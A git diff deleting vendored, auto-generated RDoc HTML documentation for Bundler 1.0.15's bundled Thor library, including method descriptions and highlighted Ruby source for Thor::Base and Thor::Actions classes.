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-					<li><a href="../../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
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-					<li><a href="../../Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
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-					<li><a href="../../Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/Directory.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/Directory.html
deleted file mode 100644
index 704a6914..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/Directory.html
+++ /dev/null
@@ -1,330 +0,0 @@
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/EmptyDirectory.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/EmptyDirectory.html
deleted file mode 100644
index e6b49057..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/EmptyDirectory.html
+++ /dev/null
@@ -1,338 +0,0 @@
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Thor::Actions::EmptyDirectory</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
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-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
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-				<p class="link">Object</p>
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-		<h1 class="class">Thor::Actions::EmptyDirectory</h1>
-
-		<div id="description">
-			<p>
-Class which holds create directory logic. This is the base class for other
-actions like create_file and directory.
-</p>
-<p>
-This implementation is based in Templater actions, created by Jonas Nicklas
-and Michael S. Klishin under MIT LICENSE.
-</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/InjectIntoFile.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/InjectIntoFile.html
deleted file mode 100644
index d1c0eb8f..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/InjectIntoFile.html
+++ /dev/null
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-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-				<div class="section-body">
-					<ul>
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-			<!-- Parent Class -->
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-				<h3 class="section-header">Parent</h3>
-				
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-					
-					<p>
-It receives arguments in an Array and two hashes, one for options and other
-for configuration.
-</p>
-<p>
-Notice that it does not check if all required arguments were supplied. It
-should be done by the parser.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">args<Array[Object]></td><td><p>
-An array of objects. The objects are applied to their respective accessors
-declared with <tt>argument</tt>.
-</p>
-</td></tr>
-<tr><td valign="top">options<Hash></td><td><p>
-An options hash that will be available as self.options. The hash given is
-converted to a hash with indifferent access, magic predicates
-(options.skip?) and then frozen.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-Configuration for this <a href="../Thor.html">Thor</a> class.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 40</span>
-40:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">args</span>=[], <span class="ruby-identifier">options</span>={}, <span class="ruby-identifier">config</span>={})
-41:       <span class="ruby-identifier">args</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Arguments</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">arguments</span>, <span class="ruby-identifier">args</span>)
-42:       <span class="ruby-identifier">args</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span><span class="ruby-operator">|</span> <span class="ruby-identifier">send</span>(<span class="ruby-node">&quot;#{key}=&quot;</span>, <span class="ruby-identifier">value</span>) }
-43: 
-44:       <span class="ruby-identifier">parse_options</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">class_options</span>
-45: 
-46:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Array</span>)
-47:         <span class="ruby-identifier">task_options</span>  = <span class="ruby-identifier">config</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value">:task_options</span>) <span class="ruby-comment cmt"># hook for start</span>
-48:         <span class="ruby-identifier">parse_options</span> = <span class="ruby-identifier">parse_options</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-identifier">task_options</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">task_options</span>
-49:         <span class="ruby-identifier">array_options</span>, <span class="ruby-identifier">hash_options</span> = <span class="ruby-identifier">options</span>, {}
-50:       <span class="ruby-keyword kw">else</span>
-51:         <span class="ruby-identifier">array_options</span>, <span class="ruby-identifier">hash_options</span> = [], <span class="ruby-identifier">options</span>
-52:       <span class="ruby-keyword kw">end</span>
-53: 
-54:       <span class="ruby-identifier">opts</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Options</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">parse_options</span>, <span class="ruby-identifier">hash_options</span>)
-55:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">options</span> = <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-identifier">array_options</span>)
-56:       <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">check_unknown!</span> <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">check_unknown_options?</span>(<span class="ruby-identifier">config</span>)
-57:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="shell-method" class="method-detail ">
-				<a name="method-c-shell"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">shell</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the shell used in all <a href="../Thor.html">Thor</a> classes. If
-you are in a Unix platform it will use a colored log, otherwise it will use
-a basic one without color.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="shell-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell.rb, line 8</span>
- 8:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">shell</span>
- 9:       <span class="ruby-ivar">@shell</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'THOR_SHELL'</span>] <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'THOR_SHELL'</span>].<span class="ruby-identifier">size</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
-10:         <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Shell</span>.<span class="ruby-identifier">const_get</span>(<span class="ruby-constant">ENV</span>[<span class="ruby-value str">'THOR_SHELL'</span>])
-11:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-constant">RbConfig</span><span class="ruby-operator">::</span><span class="ruby-constant">CONFIG</span>[<span class="ruby-value str">'host_os'</span>] <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/mswin|mingw/</span>
-12:         <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Shell</span><span class="ruby-operator">::</span><span class="ruby-constant">Basic</span>
-13:       <span class="ruby-keyword kw">else</span>
-14:         <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Shell</span><span class="ruby-operator">::</span><span class="ruby-constant">Color</span>
-15:       <span class="ruby-keyword kw">end</span>
-16:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="shell--method" class="method-detail ">
-				<a name="method-c-shell%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">shell=</span><span
-						class="method-args">(klass)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Sets the shell used in all <a href="../Thor.html">Thor</a> classes.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="shell--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell.rb, line 20</span>
-20:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">shell=</span>(<span class="ruby-identifier">klass</span>)
-21:       <span class="ruby-ivar">@shell</span> = <span class="ruby-identifier">klass</span>
-22:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="subclass-files-method" class="method-detail ">
-				<a name="method-c-subclass_files"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">subclass_files</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the files where the subclasses are kept.
-</p>
-<h4>Returns</h4>
-<p>
-Hash[path<String> => Class]
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="subclass-files-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 80</span>
-80:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">subclass_files</span>
-81:         <span class="ruby-ivar">@subclass_files</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Hash</span>.<span class="ruby-identifier">new</span>{ <span class="ruby-operator">|</span><span class="ruby-identifier">h</span>,<span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">h</span>[<span class="ruby-identifier">k</span>] = [] }
-82:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="subclasses-method" class="method-detail ">
-				<a name="method-c-subclasses"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">subclasses</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the classes that inherits from <a href="../Thor.html">Thor</a> or
-Thor::Group.
-</p>
-<h4>Returns</h4>
-<p>
-Array[Class]
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="subclasses-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 71</span>
-71:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">subclasses</span>
-72:         <span class="ruby-ivar">@subclasses</span> <span class="ruby-operator">||=</span> []
-73:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Base/ClassMethods.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Base/ClassMethods.html
deleted file mode 100644
index 37644b0c..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Base/ClassMethods.html
+++ /dev/null
@@ -1,1383 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Module: Thor::Base::ClassMethods</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="module">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/vendor/thor/base_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/base.rb">lib/bundler/vendor/thor/base.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-all_tasks">#all_tasks</a></li>
-					
-					<li><a href="#method-i-argument">#argument</a></li>
-					
-					<li><a href="#method-i-arguments">#arguments</a></li>
-					
-					<li><a href="#method-i-check_unknown_options%21">#check_unknown_options!</a></li>
-					
-					<li><a href="#method-i-class_option">#class_option</a></li>
-					
-					<li><a href="#method-i-class_options">#class_options</a></li>
-					
-					<li><a href="#method-i-exit_on_failure%3F">#exit_on_failure?</a></li>
-					
-					<li><a href="#method-i-from_superclass">#from_superclass</a></li>
-					
-					<li><a href="#method-i-group">#group</a></li>
-					
-					<li><a href="#method-i-inherited">#inherited</a></li>
-					
-					<li><a href="#method-i-method_added">#method_added</a></li>
-					
-					<li><a href="#method-i-namespace">#namespace</a></li>
-					
-					<li><a href="#method-i-no_tasks">#no_tasks</a></li>
-					
-					<li><a href="#method-i-print_options">#print_options</a></li>
-					
-					<li><a href="#method-i-remove_argument">#remove_argument</a></li>
-					
-					<li><a href="#method-i-remove_class_option">#remove_class_option</a></li>
-					
-					<li><a href="#method-i-remove_task">#remove_task</a></li>
-					
-					<li><a href="#method-i-start">#start</a></li>
-					
-					<li><a href="#method-i-tasks">#tasks</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
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-					<li><a href="../../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="../../Bundler/Index.html">Bundler::Index</a></li>
-				
-					<li><a href="../../Bundler/Installer.html">Bundler::Installer</a></li>
-				
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-					<li><a href="../../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
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-					<li><a href="../../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
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-					<li><a href="../../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
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-					<li><a href="../../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
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-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="module">Thor::Base::ClassMethods</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="debugging-attribute-method" class="method-detail">
-				<a name="debugging"></a>
-				
-				<a name="debugging="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">debugging</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="all-tasks-method" class="method-detail ">
-				<a name="method-i-all_tasks"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">all_tasks</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the tasks for this <a href="../../Thor.html">Thor</a> class and all
-subclasses.
-</p>
-<h4>Returns</h4>
-<table>
-<tr><td valign="top">OrderedHash</td><td><p>
-An ordered hash with tasks names as keys and <a
-href="../Task.html">Thor::Task</a> objects as values.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="all-tasks-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 294</span>
-294:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">all_tasks</span>
-295:         <span class="ruby-ivar">@all_tasks</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:all_tasks</span>, <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">CoreExt</span><span class="ruby-operator">::</span><span class="ruby-constant">OrderedHash</span>.<span class="ruby-identifier">new</span>)
-296:         <span class="ruby-ivar">@all_tasks</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-identifier">tasks</span>)
-297:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="argument-method" class="method-detail ">
-				<a name="method-i-argument"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">argument</span><span
-						class="method-args">(name, options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Adds an argument to the class and creates an attr_accessor for it.
-</p>
-<p>
-Arguments are different from options in several aspects. The first one is
-how they are parsed from the command line, arguments are retrieved from
-position:
-</p>
-<pre>
-  thor task NAME
-</pre>
-<p>
-Instead of:
-</p>
-<pre>
-  thor task --name=NAME
-</pre>
-<p>
-Besides, arguments are used inside your code as an accessor
-(self.argument), while options are all kept in a hash (self.options).
-</p>
-<p>
-Finally, arguments cannot have type :default or :boolean but can be
-optional (supplying :optional => :true or :required => false), although you
-cannot have a required argument after a non-required argument. If you try
-it, an error is raised.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">name<Symbol></td><td><p>
-The name of the argument.
-</p>
-</td></tr>
-<tr><td valign="top">options<Hash></td><td><p>
-Described below.
-</p>
-</td></tr>
-</table>
-<h4>Options</h4>
-<p>
-:desc     - Description for the argument. :required - If the argument is
-required or not. :optional - If the argument is optional or not. :type    
-- The type of the argument, can be :string, :hash, :array, :numeric.
-:default  - Default value for this argument. It cannot be required and have
-default values. :banner   - String to show on usage notes.
-</p>
-<h4>Errors</h4>
-<table>
-<tr><td valign="top">ArgumentError</td><td><p>
-Raised if you supply a required argument after a non required one.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="argument-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 160</span>
-160:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">argument</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span>={})
-161:         <span class="ruby-identifier">is_thor_reserved_word?</span>(<span class="ruby-identifier">name</span>, <span class="ruby-value">:argument</span>)
-162:         <span class="ruby-identifier">no_tasks</span> { <span class="ruby-identifier">attr_accessor</span> <span class="ruby-identifier">name</span> }
-163: 
-164:         <span class="ruby-identifier">required</span> = <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-value">:optional</span>)
-165:           <span class="ruby-operator">!</span><span class="ruby-identifier">options</span>[<span class="ruby-value">:optional</span>]
-166:         <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-value">:required</span>)
-167:           <span class="ruby-identifier">options</span>[<span class="ruby-value">:required</span>]
-168:         <span class="ruby-keyword kw">else</span>
-169:           <span class="ruby-identifier">options</span>[<span class="ruby-value">:default</span>].<span class="ruby-identifier">nil?</span>
-170:         <span class="ruby-keyword kw">end</span>
-171: 
-172:         <span class="ruby-identifier">remove_argument</span> <span class="ruby-identifier">name</span>
-173: 
-174:         <span class="ruby-identifier">arguments</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">argument</span><span class="ruby-operator">|</span>
-175:           <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">argument</span>.<span class="ruby-identifier">required?</span>
-176:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">ArgumentError</span>, <span class="ruby-node">&quot;You cannot have #{name.to_s.inspect} as required argument after &quot;</span> <span class="ruby-operator">&lt;&lt;</span>
-177:                                <span class="ruby-node">&quot;the non-required argument #{argument.human_name.inspect}.&quot;</span>
-178:         <span class="ruby-keyword kw">end</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">required</span>
-179: 
-180:         <span class="ruby-identifier">arguments</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Argument</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span>[<span class="ruby-value">:desc</span>], <span class="ruby-identifier">required</span>, <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>],
-181:                                               <span class="ruby-identifier">options</span>[<span class="ruby-value">:default</span>], <span class="ruby-identifier">options</span>[<span class="ruby-value">:banner</span>])
-182:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="arguments-method" class="method-detail ">
-				<a name="method-i-arguments"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">arguments</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns this class arguments, looking up in the ancestors chain.
-</p>
-<h4>Returns</h4>
-<p>
-Array[Thor::Argument]
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="arguments-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 189</span>
-189:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">arguments</span>
-190:         <span class="ruby-ivar">@arguments</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:arguments</span>, [])
-191:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="check-unknown-options--method" class="method-detail ">
-				<a name="method-i-check_unknown_options%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">check_unknown_options!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-If you want to raise an error for unknown options, call
-check_unknown_options! This is disabled by default to allow dynamic
-invocations.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="check-unknown-options--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 113</span>
-113:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">check_unknown_options!</span>
-114:         <span class="ruby-ivar">@check_unknown_options</span> = <span class="ruby-keyword kw">true</span>
-115:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="class-option-method" class="method-detail ">
-				<a name="method-i-class_option"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">class_option</span><span
-						class="method-args">(name, options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Adds an option to the set of class options
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">name<Symbol></td><td><p>
-The name of the argument.
-</p>
-</td></tr>
-<tr><td valign="top">options<Hash></td><td><p>
-Described below.
-</p>
-</td></tr>
-</table>
-<h4>Options</h4>
-<p>
-:desc     - Description for the argument. :required - If the argument is
-required or not. :default  - Default value for this argument. :group    -
-The group for this options. Use by class options to output options in
-different levels. :aliases  - Aliases for this option. :type     - The type
-of the argument, can be :string, :hash, :array, :numeric or :boolean.
-:banner   - String to show on usage notes.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="class-option-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 223</span>
-223:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">class_option</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span>={})
-224:         <span class="ruby-identifier">build_option</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span>, <span class="ruby-identifier">class_options</span>)
-225:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="class-options-method" class="method-detail ">
